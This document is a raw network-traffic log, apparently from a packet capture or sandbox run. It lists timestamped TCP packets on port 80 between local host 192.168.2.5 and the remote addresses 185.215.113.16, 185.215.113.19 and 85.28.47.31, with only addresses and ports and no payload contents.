Jul 27, 2024 09:26:06.531620026 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531632900 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531649113 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531666040 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531681061 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531697035 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531713009 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531725883 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531744003 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531753063 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531776905 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531786919 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531807899 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531816006 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531840086 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.531851053 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.531884909 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.532196999 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.532244921 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.532247066 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.532278061 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.532293081 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.532314062 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.532356024 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.532387018 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.532404900 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.532418966 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.532424927 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.532460928 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.532692909 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.532725096 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.532741070 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.532756090 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.532761097 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.532795906 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.532934904 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.532967091 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.532982111 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.533010960 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.533015966 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.533046961 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.533062935 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.533087015 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.533094883 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.533127069 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.533137083 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.533159971 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.533169985 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.533190012 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.533205032 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.533224106 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.533238888 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.533252954 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.533265114 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.533294916 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.535912037 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.535959005 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.535962105 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.535995007 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536009073 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536039114 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536042929 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536073923 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536092043 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536112070 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536123037 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536168098 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536170959 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536204100 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536216974 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536236048 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536242962 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536268950 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536273956 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536313057 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536317110 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536349058 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536355972 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536380053 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536391020 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536412001 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536425114 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536439896 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536454916 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536473989 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536478043 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536541939 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536566019 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536573887 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536583900 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536606073 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536617041 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536638975 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536645889 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536670923 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536695957 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536704063 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536714077 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536736012 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536745071 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536770105 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536782026 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536799908 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.536813974 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.536844015 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.537683010 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.537731886 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.537731886 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.537777901 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.537779093 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.537810087 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.537826061 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.537843943 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.537848949 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.537874937 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.537879944 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.537906885 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.537913084 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.537940025 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.537949085 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.537983894 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.561348915 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.561508894 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.567082882 CEST	80	49730	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.567147970 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.567210913 CEST	80	49729	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.567260027 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.567271948 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.572072029 CEST	80	49730	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.622816086 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.622850895 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.622879982 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.622884989 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.622890949 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.622915983 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.622924089 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.622950077 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.622956038 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.622987986 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.623975992 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.624022007 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.624031067 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.624059916 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.624070883 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.624102116 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.624126911 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.624135017 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.624136925 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.624167919 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.624169111 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.624201059 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.624211073 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.624233007 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.624245882 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.624268055 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.624278069 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.624305964 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679214954 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679275990 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679452896 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679500103 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679500103 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679531097 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679543972 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679570913 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679578066 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679610014 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679614067 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679642916 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679646969 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679676056 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679685116 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679707050 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679716110 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679739952 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679752111 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679771900 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679781914 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679805040 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679812908 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679836035 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679850101 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679867983 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679877043 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679899931 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679913998 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679934025 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.679949045 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679980040 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.679992914 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680012941 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680021048 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680048943 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680061102 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680093050 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680099010 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680123091 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680130005 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680155039 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680160999 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680186987 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680195093 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680219889 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680231094 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680250883 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680259943 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680283070 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680293083 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680315018 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680324078 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680346966 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680356026 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680377960 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680387020 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680411100 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680421114 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680443048 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680452108 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680475950 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680489063 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680516005 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680537939 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680572987 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:06.680583000 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:06.680609941 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:07.308970928 CEST	80	49730	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:07.311346054 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 09:26:07.311364889 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:07.311516047 CEST	49731	80	192.168.2.5	185.215.113.19
Jul 27, 2024 09:26:07.311975002 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:07.316387892 CEST	80	49731	185.215.113.19	192.168.2.5
Jul 27, 2024 09:26:07.316843987 CEST	80	49730	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:07.316878080 CEST	80	49726	185.215.113.19	192.168.2.5
Jul 27, 2024 09:26:07.316909075 CEST	49731	80	192.168.2.5	185.215.113.19
Jul 27, 2024 09:26:07.316942930 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 09:26:07.317022085 CEST	49731	80	192.168.2.5	185.215.113.19
Jul 27, 2024 09:26:07.321969032 CEST	80	49731	185.215.113.19	192.168.2.5
Jul 27, 2024 09:26:07.559833050 CEST	80	49730	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:07.560791016 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:07.935246944 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:07.935631990 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:07.942137003 CEST	80	49732	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:07.942192078 CEST	80	49730	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:07.942271948 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:07.942271948 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:07.945513964 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:07.950995922 CEST	80	49732	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.059844971 CEST	80	49731	185.215.113.19	192.168.2.5
Jul 27, 2024 09:26:08.059993982 CEST	49731	80	192.168.2.5	185.215.113.19
Jul 27, 2024 09:26:08.061718941 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.061994076 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.068454027 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.068507910 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.068614006 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.068655968 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.068700075 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.076421022 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.315656900 CEST	49734	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:26:08.320893049 CEST	80	49734	85.28.47.31	192.168.2.5
Jul 27, 2024 09:26:08.320983887 CEST	49734	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:26:08.321074963 CEST	49734	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:26:08.326023102 CEST	80	49734	85.28.47.31	192.168.2.5
Jul 27, 2024 09:26:08.710450888 CEST	80	49732	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.710540056 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.711117029 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.716034889 CEST	80	49732	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.815423965 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.815459013 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.815507889 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.815538883 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.815542936 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.815573931 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.815582037 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.815606117 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.815628052 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.815638065 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.815651894 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.815670967 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.815679073 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.815702915 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.815710068 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.815733910 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.815741062 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.815768957 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.815773964 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.815807104 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.820847034 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.820882082 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.820910931 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.820914030 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.820918083 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.820951939 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.903088093 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.903120041 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.903155088 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.903186083 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.959918022 CEST	80	49732	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.960138083 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.965431929 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.965485096 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.965487957 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.965518951 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.965529919 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.965550900 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.965564013 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.965600014 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.965747118 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.965801001 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.965806961 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.965833902 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.965845108 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.965877056 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.965882063 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.965914965 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.965929985 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.965955019 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.966654062 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.966686010 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.966705084 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.966718912 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.966727018 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.966761112 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.966866970 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.966900110 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.966913939 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.966955900 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.967797041 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.967844963 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.967847109 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.967900038 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.967910051 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:08.967932940 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:08.967943907 CEST	49733	80	192.168.2.5	185.215.113.16
